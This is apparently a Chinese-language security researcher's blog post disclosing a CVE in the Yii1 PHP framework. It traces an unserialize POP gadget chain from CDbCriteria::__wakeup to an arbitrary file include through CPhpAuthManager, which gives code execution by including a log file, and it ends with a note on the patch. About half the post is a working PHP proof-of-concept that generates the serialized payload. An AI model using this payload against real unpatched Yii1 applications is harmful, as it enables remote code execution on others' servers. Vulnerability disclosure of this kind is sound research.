ma4ter

Index | Photo | About | Friends | Archives

Yii1 unserialize pop chain

写一下前段时间水的一个cve,也算是我的第一个cve了。
https://github.com/yiisoft/yii/security/advisories/GHSA-mw2w-2hj2-fg8q
入口是CDbCriteria类的__wakeup方法
Yii1 unserialize pop chain
strtr函数可以触发__tostring方法
抽象类CFormElement中有这个方法
Yii1 unserialize pop chain
这里我找到其子类CFormInputElement
Yii1 unserialize pop chainYii1 unserialize pop chain
这里去获取_parent属性的showErrors属性,可以触发__get
CModule类的__get方法
Yii1 unserialize pop chain
跟进getComponent方法
Yii1 unserialize pop chain
可以看到$config可控,这里相当于可以实例化任意一个继承了CComponent类的类,并且调用其init方法,这里我找到的是CPhpAuthManager类,其中的init可以包含任意文件,这里就可以通过包含日志文件rce了。
Yii1 unserialize pop chain
回到触发__get方法的点,跟进renderLabel方法
Yii1 unserialize pop chain
这里调用了_parent属性的getModel方法,但经过前面的分析可知_parent属性需要为CModule类的一个实例,然而CModule类并不存在getModel方法,这个时候就会进入CModule的父类CComponent的__call方法
Yii1 unserialize pop chain
这个时候找到一个有getModel方法的类实例化之后放到_m属性里面就可以了。
同样的后面的renderInput方法也一样,这个时候就可以到达$this->getParent()->showErrors了。
Yii1 unserialize pop chain
POC:

<?php
abstract class CModel{}
class CFormModel extends CModel{

}
class CBehavior{
    private $_enabled;
    public function __construct()
    {
        $this->_enabled=true;
    }
}
class CDbCriteria{
    public $params;
    public $condition;
    public function __construct()
    {
        $this->params=[":ycp"=>"1"];
        $this->condition=new CFormInputElement();
    }
}
class CForm extends CFormElement{
    private $_model;
    public function __construct()
    {
        parent::__construct(1);
        $this->_model=new CFormModel();
    }
}
class CComponent{
    private $_m;
    public function __construct($a)
    {
        $this->_m=[$a];
    }
}
abstract class CModule extends CComponent{
    private $_components=array();
    private $_componentConfig=array("showErrors"=>
        ["class"=>"CPhpAuthManager","authFile"=>"./protected/runtime/application.log"]);
    public function __construct()
    {
        parent::__construct(new CForm());
    }
}
class CWebModule extends CModule
{
}
abstract class CFormElement extends CComponent{
    private $_parent;
    public $attributes=array();
    public function __construct($a)

    {   $this->_parent=$a;
        $this->attributes=["id"=>"1","name"=>"1","value"=>"1"];
        parent::__construct(new CBehavior());

    }
}
class CFormInputElement extends CFormElement {
    private $_label;
    private $_required;
    public $type;
    public function __construct()
    {
        $this->type="file";
        $this->_label=false;
        $this->_required="";
        parent::__construct(new CWebModule());
    }
}
$a=urlencode(serialize([new CDbCriteria]));
var_dump($a);

留图纪念:
Yii1 unserialize pop chain
修复:
Yii1 unserialize pop chain
限制了传入的类型不能为对象了,yii1的反序列化链应该无了。